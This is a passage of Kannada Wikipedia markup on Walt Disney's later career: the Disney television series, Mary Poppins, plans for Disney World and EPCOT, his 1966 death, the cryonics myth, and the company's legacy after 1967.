web|accessdate=2008-05-21|url=http://www.islandnet.com/~kpolsson/disnehis/disn1961.htm|title=Chronology of the Walt Disney Company|publisher=Island Net}}</ref> ವಾಹಿನಿಗೆ ಬದಲಾಯಿಸಿಕೊಂಡಿತು. ಅಂತಿಮವಾಗಿ ''[[ದಿ ವಂಡರ್ಫುಲ್‌ ವರ್ಲ್ಡ್‌ ಆಫ್ ಡಿಸ್ನಿ]]'' ಎಂಬ ಪ್ರಸಕ್ತ ರೂಪಕ್ಕೆ ಬದಲಾಯಿತು. 1981ರಲ್ಲಿ CBS ಈ ಕಾರ್ಯಕ್ರಮದ ಪ್ರಸಾರ ಹಕ್ಕುಗಳನ್ನು ತಮ್ಮದಾಗಿಸಿಕೊಳ್ಳುವ ತನಕ NBCಯಲ್ಲಿ ಪ್ರಸಾರಗೊಳ್ಳುತ್ತಿತ್ತು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.islandnet.com/~kpolsson/disnehis/disn1981.htm|title=Chronology of the Walt Disney Company|publisher=Island Net}}</ref> ಅಂದಿನಿಂದಲೂ, ಪ್ರತ್ಯೇಕ ಪ್ರಸಾರ ಹಕ್ಕುಗಳ ಒಪ್ಪಂದಗಳಡಿ ABC, NBC, ಹಾಲ್ಮಾರ್ಕ್‌ ಚಾನೆಲ್‌ ಮತ್ತು ಕಾರ್ಟೂನ್‌ ನೆಟ್ವರ್ಕ್‌ ವಾಹಿನಿಗಳಲ್ಲಿ ಈ ಕಾರ್ಯಕ್ರಮ ಪ್ರಸಾರಗೊಂಡಿದೆ. ಈ ಕಾರ್ಯಕ್ರಮ ಪ್ರಸಾರಗೊಳ್ಳುತ್ತಿರುವಾಗ, ಡಿಸ್ನಿ ಸರಣಿಯು ಕೆಲವು ಪುನರಾವರ್ತಿತ ಪಾತ್ರಗಳನ್ನು ಪ್ರಸ್ತುತಪಡಿಸಿತು. ಇವುಗಳಲ್ಲಿ, [[ರೊಜರ್‌ ಮಾಬ್ಲೆ]] ಒಬ್ಬ ಪತ್ರಿಕಾ ವರದಿಗಾರ ಹಾಗೂ [[ರಿಚರ್ಡ್‌ ಹಾರ್ಡಿಂಗ್‌ ಡೇವಿಸ್‌]] ಲೇಖನವನ್ನಾಧರಿಸಿದ ಪತ್ತೇದಾರ 'ಗ್ಯಾಲೆಘರ್‌‌' ಪಾತ್ರಗಳ ವಹಿಸಿದ. ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಆಗಲೇ ತಮ್ಮದೇ ಆದ ಸಂಗೀತ ಪ್ರಕಾಶನ ವಿಭಾಗವನ್ನು 1949ರಷ್ಟು ಹಿಂದೆಯೇ ಸ್ಥಾಪಿಸಿದ್ದರು. 1956ರಲ್ಲಿ, [[ದಿ ಬ್ಯಾಲಡ್‌ ಆಫ್‌ ಡೇವಿ ಕ್ರೊಕೆಟ್‌]] ದೂರದರ್ಶನದ ಶೀರ್ಷಿಕೆ ಗೀತೆಯ ಭಾರೀ ಯಶಸ್ಸಿನಿಂದ ಭಾಗಶಃ ಪ್ರೇರೇಪಿತ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯ ಸ್ವಾಮ್ಯದ ಧ್ವನಿಮುದ್ರಣಾ ನಿರ್ಮಾಣ ಮತ್ತು ವಿತರಣಾ ಸಂಸ್ಥೆ [[ಡಿಸ್ನಿಲೆಂಡ್‌ ರೆಕಾರ್ಡ್ಸ್‌]] ಎಂಬ ಘಟಕ ಸ್ಥಾಪಿಸಿದರು. === 1960ರ ದಶಕದ ಆರಂಭದಲ್ಲಿನ ಯಶಸ್ಸುಗಳು === [[ಚಿತ್ರ:Shermans042.jpg|thumb|left|"ದೇರ್‌'ಸ್‌ ಎ ಗ್ರೇಟ್‌ ಬಿಗ್‌ ಬ್ಯೂಟಿಫುಲ್ ಟುಮೊರೊ" ಹಾಡುತ್ತಿರುವ (ಎಡದಿಂದ ಬಲ) ರಾಬರ್ಟ್‌ ಬಿ. ಷೆರ್ಮನ್‌, ರಿಚರ್ಡ್‌ ಎಂ. ಷೆರ್ಮನ್‌ ಮತ್ತು ವಾಲ್ಟ್ ಡಿಸ್ನಿ (1964)]] 1960ರ ದಶಕದ ಆರಂಭದಲ್ಲಿ, ಡಿಸ್ನಿ ಸಂಸ್ಥೆಗಳ ಸಮೂಹ ಭಾರೀ ಯಶಸ್ಸು ಗಳಿಸಿತ್ತು. ಕೌಟುಂಬಿಕ ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳ ನಿರ್ಮಾಣ ಸಂಸ್ಥೆಯಾಗಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಪ್ರೊಡಕ್ಷನ್ಸ್‌ ವಿಶ್ವದಲ್ಲೇ ಅಗ್ರಸ್ಥಾನದಲ್ಲಿತ್ತು. [[1960 ಶೀತಕಾಲೀನ ಒಲಿಂಪಿಕ್ಸ್‌ ಕ್ರೀಡಾಕೂಟ]]ದಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ವೈಭವದ ಮೆರವಣಿಗೆಯ ಮುಖ್ಯಸ್ಥರಾಗಿದ್ದರು. ದಶಕಗಳ ಕಾಲ ಪ್ರಯತ್ನಿಸಿ, ಅಂತಿಮವಾಗಿ, ಮಾಟಗಾತಿ ಎಂದು ಹೆಸರಾದ ಹೆಣ್ಣು ಮಗುವಿನ ದಾದಿಯೊಬ್ಬಳ ಬಗ್ಗೆ [[ಪಿ. ಎಲ್‌. ಟ್ರ್ಯಾವರ್ಸ್‌]] ಬರೆದ ಪುಸ್ತಕಗಳ ಹಕ್ಕುಗಳನ್ನು ಡಿಸ್ನಿ ಸಂಸ್ಥೆ ಪಡೆದುಕೊಂಡಿತು. 1964ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ''[[ಮೇರಿ ಪಾಪಿನ್ಸ್‌]]'' , 1960ರ ದಶಕದಲ್ಲಿಯೇ ಅತಿ ಹೆಚ್ಚು ಯಶಸ್ಸು ಪಡೆದ ಡಿಸ್ನಿ ಚಲನಚಿತ್ರವಾಯಿತು. ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯ ನೆಚ್ಚಿನ ಗೀತರಚನೆಕಾರ [[ಷೆರ್ಮನ್‌ ಬ್ರದರ್ಸ್‌]] ರಚಿಸಿದ, ಬಹುಕಾಲ ಜನಪ್ರಿಯವಾಗುಳಿದಿರುವ ಹಾಡು ಈ ಚಲನಚಿತ್ರದ ಭಾಗವಾಗಿತ್ತು. ಅದೇ ವರ್ಷ, [[1964 ನ್ಯೂ ಯಾರ್ಕ್‌ ವರ್ಲ್ಡ್ಸ್‌ ಫೇರ್‌]]ನಲ್ಲಿ ಹಲವು ಪ್ರದರ್ಶನ ವಸ್ತುಗಳನ್ನು ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು ಪರಿಚಯಿಸಿತು. ಇವುಗಳಲ್ಲಿ [[ಆಡಿಯೊ]]-[[ಅನಿಮಾಟ್ರೊನಿಕ್‌]] ರೂಪಗಳಿದ್ದವು. ನಂತರ ಇವೆಲ್ಲವನ್ನೂ ಡಿಸ್ನಿಲೆಂಡ್‌ನ ಪ್ರಮುಖ ಆಕರ್ಷಣೆಗಳನ್ನಾಗಿ ಸೇರಿಸಿಕೊಳ್ಳಲಾಯಿತು. ಇದಲ್ಲದೆ, ಅಮೆರಿಕಾದ [[ಪೂರ್ವ ತೀರ]]ದಲ್ಲಿ ಸ್ಥಾಪಿಸಲಿದ್ದ ಹೊಸ ಥೀಮ್‌ ಪಾರ್ಕ್‌ ಯೋಜನೆಯ ಆಕರ್ಷಣೆಯಾಗಿಯೂ ಇದನ್ನು ಸೇರಿಸಿಕೊಳ್ಳಲಾಯಿತು. ಆ ಸಮಯದಲ್ಲಿ ಡಿಸ್ನಿ ಸ್ಟುಡಿಯೊ [[ಹ್ಯಾನಾ-ಬಾರ್ಬರಾ]]ದೊಂದಿಗೆ ಮಹಾ ಸ್ಪರ್ಧೆಗೆ ಇಳಿಯಬಹುದಾಗಿತ್ತು. ಆದರೂ, ಶನಿವಾರ ಬೆಳಗ್ಗೆ ಪ್ರಸಾರವಾದ, ಹ್ಯಾನಾ-ಬಾರ್ಬರಾ ನಿರ್ಮಾಣದ ವ್ಯಂಗ್ಯಚಿತ್ರ ಸರಣಿಯಂತೆ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು ಸ್ಪರ್ಧೆಗಿಳಿಯುವುದು ಸೂಕ್ತವಲ್ಲ ಎಂದು ಡಿಸ್ನಿ ಸಂಸ್ಥೆ ತೀರ್ಮಾನಿಸಿತು. ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯ ವಿಸ್ತರಣೆ ಹಾಗೂ ಸತತ ಚಲನಚಿತ್ರದ ನಿರ್ಮಾಣದಿಂದಾಗಿ, ಬಜೆಟ್‌ ನಿರ್ವಹಣೆ ಕಷ್ಟವಾಗಬಹುದೆಂದು ಡಿಸ್ನಿ ವ್ಯವಸ್ಥಾಪಕ ಸಮಿತಿ ನಿರ್ಣಯಿಸಿತು. ಇದರಿಂದಾಗಿ, ಮೈಕಲ್‌ ಏಸ್ನರ್‌ ನಿಗಮದ ಅಧ್ಯಕ್ಷರಾಗಿದ್ದ ಅವಧಿಯಲ್ಲಿ, ಸ್ಟುಡಿಯೊ 1985ರ ತನಕ ಯಾವುದೇ ಶನಿವಾರ-ಬೆಳಗ್ಗೆಗೆ ಮೀಸಲಾದ ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರಗಳನ್ನು ನಿರ್ಮಿಸಿರಲಿಲ್ಲ. {{Citation needed|date=November 2009}} === ಡಿಸ್ನಿವರ್ಲ್ಡ್‌ ಮತ್ತು EPCOTಗಾಗಿ ಯೋಜನೆಗಳು === ಡಿಸ್ನಿ ವರ್ಲ್ಡ್‌ ಎಂಬುದು ಡಿಸ್ನಿಲೆಂಡ್‌ನ ಇನ್ನೂ ದೊಡ್ಡದಾದ, ಇನ್ನಷ್ಟು ವಿಸ್ತಾರವಾದ ಆವೃತ್ತಿ 'ಮ್ಯಾಜಿಕ್‌ ಕಿಂಗ್ಡಮ್‌'ನ್ನು ಒಳಗೊಳ್ಳುವುದಿತ್ತು. ಇದರಲ್ಲಿ ಹಲವು ಗಾಲ್ಫ್‌ ಮೈದಾನಗಳು ಮತ್ತು ರೆಸಾರ್ಟ್‌ ಹೊಟೆಲ್‌ಗಳುಂಟು. ಎಕ್ಸ್‌ಪೆರಿಮೆಂಟಲ್‌ ಪ್ರೊಟೊಟೈಪ್‌ ಸಿಟಿ (ಕಮ್ಯೂನಿಟಿ) ಆಫ್‌ ಟುಮೊರೊ, ಅಥವಾ ಸಮೂದಾಯದ ಮನೆ [[EPCOT]] ಎಂಬುದು ಡಿಸ್ನಿ ವರ್ಲ್ಡ್‌ನ ಕೇಂದ್ರಬಿಂದುವಾಗುವುದಿತ್ತು. === ಮಿನೆರಲ್‌ ಕಿಂಗ್‌ ಸ್ಕೀ ರೆಸಾರ್ಟ್‌ === ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಮಿನೆರಲ್‌ ಕಿಂಗ್‌ನಲ್ಲಿ '[[ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಸ್ಕೀ ರೆಸಾರ್ಟ್]]‌' ಎಂಬ ಒಂದು [[ಸ್ಕೀ ರೆಸಾರ್ಟ್‌]] ನಿರ್ಮಿಸುವ ಯೋಜನೆ ಹಾಕಿದ್ದರು. ಇದರ ನಿಮಿತ್ತ, 1960ರ ದಶಕದ ಆರಂಭ ಮತ್ತು ಮಧ್ಯದಲ್ಲಿ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಖ್ಯಾತ ಒಲಿಂಪಿಕ್‌ ಸ್ಕೀ ತರಬೇತುದಾರ ಮತ್ತು ಸ್ಕೀ-ಕ್ಷೇತ್ರದ ವಿನ್ಯಾಸಕ ವಿಲಿ ಷೇಫ್ಲರ್‌ ಸೇರಿದಂತೆ ತಜ್ಞರನ್ನು ಕರೆಸಿದರು. ಕಣಿವೆಯ ಸುತ್ತಲೂ ಇರುವ ಅಂಡಾಕಾರದ ಭೂಪ್ರದೇಶದಲ್ಲಿ, ಸಂದರ್ಶಕರ ತಂಗುದಾಣ (ವಿಸಿಟರ್ಸ್‌ ವಿಲೇಜ್‌), ಸ್ಕೀ ರನ್‌ಗಳು ಮತ್ತು ಸ್ಕೀ ಲಿಫ್ಟ್‌ಗಳ ನಿರ್ಮಾಣದ ವಿನ್ಯಾಸದಲ್ಲಿ ಈ ತಜ್ಞರು ನೆರವಾದರು. 1960ರ ಮಧ್ಯದಲ್ಲಿ ಯೋಜನೆಗಳು ಕಾರ್ಯಗತವಾದವು, ಆದರೆ ವಾಸ್ತವಿಕವಾಗಿ ಕೆಲಸ ಆರಂಭಗೊಳ್ಳುವ ಮುಂಚೆಯೇ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ವಿಧಿವಶರಾದರು. ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ನಿಧನ ಹಾಗೂ ಸಂರಕ್ಷಣಾವಾದಿಗಳಿಂದ ಈ ಯೋಜನೆಗೆ ವಿರೋಧ ವ್ಯಕ್ತವಾದ್ದರಿಂದ ಈ ರೆಸಾರ್ಟ್‌ ನಿರ್ಮಾಣವಾಗಲೇ ಇಲ್ಲ. === ಮರಣ === ಹಲವು ವರ್ಷಗಳ ಕಾಲ ಅವರು ಆಗಾಗ್ಗೆ ಹಾಲಿವುಡ್‌ನ ರಿವೆರಿಯಾ ಕ್ಲಬ್‌ನಲ್ಲಿ ಪೊಲೊ ಆಡುತ್ತಿದ್ದರು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.mouseplanet.com/articles.php?art=ww070711ws|title=Horsing Around With Walt and Polo|publisher=Mouse Planet}}</ref> ಪೊಲೊ ಆಟದಲ್ಲಿ ಉಂಟಾದ ಒಂದು ಹಳೆಯ ಗಾಯಕ್ಕೆ 1966ರ ಅಪರಾರ್ಧದಲ್ಲಿ ಅವರ ಕುತ್ತಿಗೆ ಭಾಗಕ್ಕೆ ಶಸ್ತ್ರಚಿಕಿತ್ಸೆ ಮಾಡಬೇಕಾಯಿತು.<ref name="Wadisea">{{cite web|accessdate=2008-05-21|url=http://disney.go.com/disneyatoz/familymuseum/exhibits/articles/waltspassing/index.html|title=The Day Walt Died |publisher=[[Disney]]}}</ref> 2 ನವೆಂಬರ್‌ 1966ರಂದು, ಡಿಸ್ನಿ ಸ್ಟುಡಿಯೊ ಎದುರಿಗಿರುವ [[ಪ್ರೊವಿಡೆನ್ಸ್‌ ಸೇಂಟ್‌ ಜೋಸೆಫ್‌‌ ಮೆಡಿಕಲ್‌ ಸೆಂಟರ್‌]] ಆಸ್ಪತ್ರೆಯಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ಮೇಲೆ ಶಸ್ತ್ರಚಿಕಿತ್ಸೆಯ ಮುಂಚಿನ ಕ್ಷ-ಕಿರಣ ಪರೀಕ್ಷೆಗಳನ್ನು ನಡೆಸಲಾಯಿತು. ಆಗ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ [[ಎಡ ಶ್ವಾಸಕೋಶದಲ್ಲಿ ದೊಡ್ಡ ಗಾತ್ರದ ಗೆಡ್ಡೆ]]ಯಾದದ್ದು ಕಂಡುಬಂತು.<ref name="Wa tumor">{{cite web|accessdate=2008-05-21|url=http://www.islandnet.com/~kpolsson/disnehis/disn1966.htm|title=Chronology of the Walt Disney Company|publisher=Island Net}}</ref> ಐದು ದಿನಗಳ ನಂತರ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಶಸ್ತ್ರಚಿಕಿತ್ಸೆಗಾಗಿ ಆಸ್ಪತ್ರೆಗೆ ತೆರಳಿದರು. ಆದರೆ, ಗೆಡ್ಡೆಯು ಬಹಳ ವ್ಯಾಪಕವಾಗಿ ಹರಡಿದ್ದ ಕಾರಣ, ವೈದ್ಯರು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ಎಡ ಶ್ವಾಸ ಕೋಶವನ್ನೇ ತೆಗೆದು ಹಾಕಬೇಕಾಯಿತು.<ref name="Wa tumor"/> 'ನೀವು ಕೇವಲ ಆರು ತಿಂಗಳುಗಳಿಂದ ಒಂದು ವರ್ಷಗಳ ಕಾಲ ಮಾತ್ರ ಬದುಕಬಹುದು' ಎಂದು ಅಲ್ಲಿನ ವೈದ್ಯರು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರಿಗೆ ತಿಳಿಸಿದರು.<ref name="Wa tumor"/> ಹಲವು [[ರಾಸಾಯನಿಕ ಚಿಕಿತ್ಸೆ]]ಯ ರೋಗನಿದಾನ ಪರೀಕ್ಷೆಗಳ ನಂತರ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಮತ್ತು ಅವರ ಪತ್ನಿ ಸ್ವಗೃಹಕ್ಕೆ ಹಿಂದಿರುಗುವ ಮುನ್ನ, [[ಕ್ಯಾಲಿಫೊರ್ನಿಯಾದ ಪಾಮ್‌ ಸ್ಪ್ರಿಂಗ್ಸ್‌]]ನಲ್ಲಿ ಸ್ವಲ್ಪ ಕಾಲ ಉಳಿದುಕೊಂಡರು.<ref name="Wadisea"/> 30 ನವೆಂಬರ್‌ 1966ರಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ತಮ್ಮ ಮನೆಯಲ್ಲಿ ಕುಸಿದುಬಿದ್ದರು. ಕೂಡಲೇ [[ಸಹಾಯಕ ವೈದ್ಯ]]ರು ಇವರಿಗೆ ತತ್ ಕ್ಷಣದ ಆರೈಕೆ ನೀಡಿ, ಆಸ್ಪತ್ರೆಗೆ ಕರೆದೊಯ್ದರು. ಅವರ 65ನೆಯ ಹುಟ್ಟುಹಬ್ಬದ ಹತ್ತು ದಿನಗಳ ನಂತರ, ಅಂದರೆ 15 ಡಿಸೆಂಬರ್‌ 1966ರಂದು ಬೆಳಿಗ್ಗೆ 9.30 ಗಂಟೆಗೆ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ಸಾವು <ref name="Wadisea"/> ಸಂಭವಿಸಿತು. 17 ಡಿಸೆಂಬರ್‌ 1966ರಂದು ಅವರ ಅಂತಿಮ ಸಂಸ್ಕಾರ ನಡೆಯಿತು. ಅವರ ಚಿತಾಭಸ್ಮವನ್ನು [[ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ]]ದ [[ಗ್ಲೆಂಡೇಲ್‌]]ನಲ್ಲಿರುವ [[ಫಾರೆಸ್ಟ್‌ ಲಾನ್‌ ಮೆಮೊರಿಯಲ್‌ ಪಾರ್ಕ್‌]]ನಲ್ಲಿಡಲಾಗಿದೆ. ವಾಲ್ಟ್‌ರ ಅಣ್ಣ [[ರಾಯ್‌ ಒ. ಡಿಸ್ನಿ]] ಫ್ಲಾರಿಡಾದ ಯೋಜನೆಯನ್ನು ಮುಂದುವರೆಸಿಕೊಂಡು ಹೋದರು. ಅವರು ಅದರ ಹೆಸರನ್ನು ತಮ್ಮನ ನೆನಪಿನಲ್ಲಿ [[ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ವರ್ಲ್ಡ್‌]] ಎಂದು ನಾಮಕರಣಕ್ಕೆ ಒತ್ತಾಯಿಸಿದರು. ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಸಕ್ರಿಯವಾಗಿ ಭಾಗವಹಿಸಿದ್ದ ಅಂತಿಮ ನಿರ್ಮಾಣಗಳೆಂದರೆ ''[[ದಿ ಜಂಗಲ್‌ ಬುಕ್‌]]'' ಎಂಬ ಆನಿಮೇಟೆಡ್‌ ಚಲನಚಿತ್ರ ಮತ್ತು ಸಂಗೀತ-ಹಾಗು-ಹಾಸ್ಯ-ಪ್ರಧಾನ ಚಲನಚಿತ್ರ ''[[ದಿ ಹ್ಯಾಪಿಯೆಸ್ಟ್‌ ಮಿಲಿಯನೆಯರ್‌]]'' . ಇವೆರಡೂ ಸಹ 1967ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದವು. ಗೀತರಚನೆಕಾರ [[ರಾಬರ್ಟ್‌ ಬಿ. ಷೆರ್ಮನ್‌]] ತಾವು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರನ್ನು ಕೊನೆಯ ಬಾರಿಗೆ ನೋಡಿದುದರ ಬಗ್ಗೆ ಹೀಗೆ ಹೇಳಿದರು: {{cquote|He was up in the third floor of the animation building after a run-through of ''The Happiest Millionaire''. He usually held court in the hallway afterward for the people involved with the picture. And he started talking to them, telling them what he liked and what they should change, and then, when they were through, he turned to us and with a big smile, he said, 'Keep up the good work, boys.' And he walked to his office. It was the last we ever saw of him.<ref>{{cite book | first = K&R | last = Greene | title = Inside The Dream: The Personal Story Of Walt Disney | year = 2001 | page = 180 | isbn = 0786853506| publisher = Disney Editions}}</ref>}} ಬಹಳ ಕಾಲ ಉಳಿದುಕೊಂಡ ಆದರೆ ಮಿಥ್ಯವೆನ್ನಲಾದ [[ಅರ್ಬನ್‌ ಲೆಜೆಂಡ್‌]] ಪ್ರಕಾರ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯ ಪಾರ್ಥಿವ ಶರೀರವನ್ನು [[ಅತಿಶೈತ್ಯಶಾಸ್ತ್ರೀಯವಾಗಿ]] ಸೆಡೆಸಿ, ಅವರ ಪಾರ್ಥಿವ ಶರೀರವನ್ನು ಡಿಸ್ನಿಲೆಂಡ್‌ನಲ್ಲಿ [[ಪೈರೇಟ್ಸ್ ಆಫ್‌ ದಿ ಕೆರಿಬಿಯನ್‌]] ಅಡಿಯಲ್ಲಿ ಶೇಖರಿಸಿಡಲಾಗಿದೆ.<ref name="Snopes">{{cite web|title= Suspended Animation | publisher = [[Snopes.com]] |url= http://www.snopes.com/disney/waltdisn/frozen.asp|accessdate=2008-05-21 | date = 2007-08-24 | last = Mikkelson | first = B & DP}}</ref> [[ಸರ್ವರಿಗೂ ತಿಳಿದಿರುವಂತೆ ಮೊದಲ ಬಾರಿಗೆ ಮನುಷ್ಯನ ಪಾರ್ಥಿವ ಶರೀರದ ಅತಿಶೈತ್ಯಶಾಸ್ತ್ರೀಯವಾಗಿಸುವಿಕೆಯು ಅಥವಾ ಅತ್ಯಂತ ಕಡಿಮೆ ಉಷ್ಣತೆಯಲ್ಲಿ]] ಕಾಯ್ದಿಡುವುದು.ಒಂದು ತಿಂಗಳ ನಂತರ, ಅಂದರೆ, ಜನವರಿ 1967ರಲ್ಲಿ ನಡೆಸಲಾಯಿತು.<ref name="Snopes"/> == 1967ರಿಂದ ಇಂದಿನವರೆಗೆ: ಪರಂಪರೆ == === ಕನಸು ಸಾಕಾರದ ಮುಂದುವರಿಕೆ === [[ಚಿತ್ರ:Disneyland plaque.jpg|right|thumb|ಡಿಸ್ನಿಲೆಂಡ್‌ ಪ್ರವೇಶದ್ವಾರದಲ್ಲಿನ ಫಲಕ ಸೂಚಿಸುವ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ಮಾತುಗಳು: ವಾಸ್ತವವನ್ನು ತೊರೆ, ಕಲ್ಪನಾಲೋಕವನ್ನು ಪ್ರವೇಶಿಸು.]] ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ನಿಧನದ ನಂತರ ರಾಯ್‌ ಡಿಸ್ನಿ ವಾಲ್ಟ್‌ ,ಡಿಸ್ನಿ ಪ್ರೊಡಕ್ಷನ್ಸ್‌ ಮತ್ತು ಡಬ್ಲ್ಯೂಇಡಿ ಎಂಟರ್ಪ್ರೈಸೆಸ್‌ ಉದ್ದಿಮೆಗಳ ಉಸ್ತುವಾರಿ ವಹಿಸಿಕೊಳ್ಳಲು ತಮ್ಮ ನಿವೃತ್ತಿ ಜೀವನದಿಂದ ಹೊರಬಂದರು. ಅದೇ ವರ್ಷ ಅಕ್ಟೋಬರ್‌ ತಿಂಗಳಲ್ಲಿ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ವರ್ಲ್ಡ್‌ ರೆಸಾರ್ಟ್‌ನ್ನು ಅಧಿಕೃತವಾಗಿ ಉದ್ಘಾಟಿಸಲು ವಾಲ್ಟ್‌ ಮತ್ತು ರಾಯ್‌ ಡಿಸ್ನಿ ಕುಟುಂಬಗಳು ಮ್ಯಾಜಿಕ್‌ ಕಿಂಗ್ಡಮ್‌ನಲ್ಲಿರುವ [[ಸಿಂಡೆರೆಲಾ ಕ್ಯಾಸ್ಲ್‌]] ಮುಂದೆ ಪರಸ್ಪರ ಭೇಟಿಯಾದವು. ತಮ್ಮ ಜೀವನವನ್ನು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ವರ್ಲ್ಡ್‌ಗಾಗಿ ಮುಡಿಪಾಗಿಟ್ಟ ರಾಯ್‌, ತಮ್ಮ ಸಹಯೋಗಿಯಾಗುವಂತೆ ಲಿಲ್ಲಿಯನ್‌ರನ್ನು ಕೋರಿದರು. ವಾದ್ಯಗೋಷ್ಠಿಯು '[[ವೆನ್‌ ಯು ವಿಷ್‌ ಅಪಾನ್‌ ಅ ಸ್ಟಾರ್‌]]' ಹಾಡು ನುಡಿಸಿದಾಗ, ಲಿಲ್ಲಿಯನ್‌ ಮಿಕ್ಕಿ ಮೌಸ್‌ನ್ನು ಜೊತೆಯಲ್ಲಿ ಕರೆದುಕೊಂಡು ವೇದಿಕೆಗೆ ಹತ್ತಿದರು. ರಾಯ್‌ ಹೇಳಿದ್ದು, 'ಲಿಲ್ಲಿ, ವಾಲ್ಟ್‌ರ ಕಲ್ಪನೆಗಳು ಮತ್ತು ಆಕಾಂಕ್ಷೆಗಳೆಲ್ಲದರ ಬಗ್ಗೆ ನಿಮಗೆ ತಿಳಿದಿದೆಯಲ್ಲ, ಇದರ (ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ವರ್ಲ್ಡ್‌) ಬಗ್ಗೆ ಆತ ಏನೆಂದುಕೊಳ್ಳುತ್ತಿದ್ದ?' "ವಾಲ್ಟ್‌ ಇದನ್ನು ಸಮ್ಮತಿಸುತ್ತಿದ್ದರೆಂದು ನಾನು ಹೇಳುವೆ," ಎಂದು ಲಿಲ್ಲಿಯನ್‌ ಉತ್ತರಿಸಿದರು.<ref>{{cite web|author=Griffiths, Bill|title=Grand opening of Walt Disney world|url=http://www.startedbyamouse.com/archives/GrandOpeningWDW01.shtml|accessdate=2008-05-21|archive-date=2013-07-23|archive-url=https://web.archive.org/web/20130723225440/http://www.startedbyamouse.com/archives/GrandOpeningWDW01.shtml|url-status=dead}}</ref> ಡಿಸೆಂಬರ್‌ 20ರ 1971ರಂದು ರಾಯ್‌ ಡಿಸ್ನಿ ಮೆದುಳಿನ ರಕ್ತಸ್ರಾವದಿಂದ ನಿಧನ ಹೊಂದಿದರು. ಅದೇ ದಿನ ಅವರು ಡಿಸ್ನಿಲೆಂಡ್‌ ಕ್ರಿಸ್ಮಸ್‌ ಪೆರೇಡ್‌ನ್ನು ಉದ್ಘಾಟಿಸುವರಿದ್ದರು. [[ಚಿತ್ರ:Disney1968.jpg|left|thumb|ಡಿಸ್ನಿಯವರ ಗೌರವಾರ್ಥ 1968 US ಅಂಚೆ ಚೀಟಿ]] 'ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ವರ್ಲ್ಡ್‌' ಥೀಮ್‌ ಪಾರ್ಕ್‌ನ ಎರಡನೆಯ ಹಂತದಲ್ಲಿ, ಡಿಸ್ನಿಯ ಉತ್ತರಾಧಿಕಾರಿಗಳು EPCOTನ್ನು [[EPCOT ಸೆಂಟರ್‌]] ಆಗಿ ಮಾರ್ಪಾಡು ಮಾಡಿದರು. ಇದು 1982ರಲ್ಲಿ ಆರಂಭವಾಯಿತು. ಸದ್ಯ ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ, EPCOT ಒಂದು ಜೀವಂತ [[ವರ್ಲ್ಡ್ಸ್‌ ಫೇರ್‌]] ಆಗಿದೆ. ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರು ಕಲ್ಪಿಸಿದ ನಗರಿಗಿಂತಲೂ ಭಿನ್ನವಾಗಿದೆ. 1992ರಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಇಮ್ಯಾಜಿನಿಯರಿಂಗ್‌ ಸಂಸ್ಥೆಯು ವಾಲ್ಟ್‌ರ ಕಲ್ಪನೆಗೆ ಹತ್ತಿರವಾಗುವ ಕ್ರಮ ಕೈಗೊಂಡಿತು. [[ಫ್ಲಾರಿಡಾ]]ದಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ವರ್ಲ್ಡ್‌ ಪಕ್ಕದಲ್ಲಿ ನಿರ್ಮಿಸಿದ್ದ [[ಸೆಲೆಬ್ರೇಷನ್‌]] ಎಂಬ ಪಟ್ಟಣವನ್ನು EPCOTನ ಧ್ಯೇಯಕ್ಕಾಗಿ ಮುಡಿಪಾಗಿಡಲಾಯಿತು. EPCOT ಮೂಲತಃ ಯಾವುದೇ ಡಿಸ್ನಿ ಪಾತ್ರಗಳನ್ನು ಒಳಗೊಳ್ಳದಿರಲು ನಿರ್ಣಯಿಸಲಾಯಿತು. ಹಾಗಾಗಿ ಕೇವಲ ಕಿರಿಯ ಮಕ್ಕಳನ್ನು ಮಾತ್ರ ಆಕರ್ಷಿಸುತ್ತಿತ್ತು. ಆದರೆ ಸಂಸ್ಥೆಯು ಈ ನೀತಿಯನ್ನು ಬದಲಾಯಿಸಿತು. === ಡಿಸ್ನಿ ಮನರಂಜನಾ 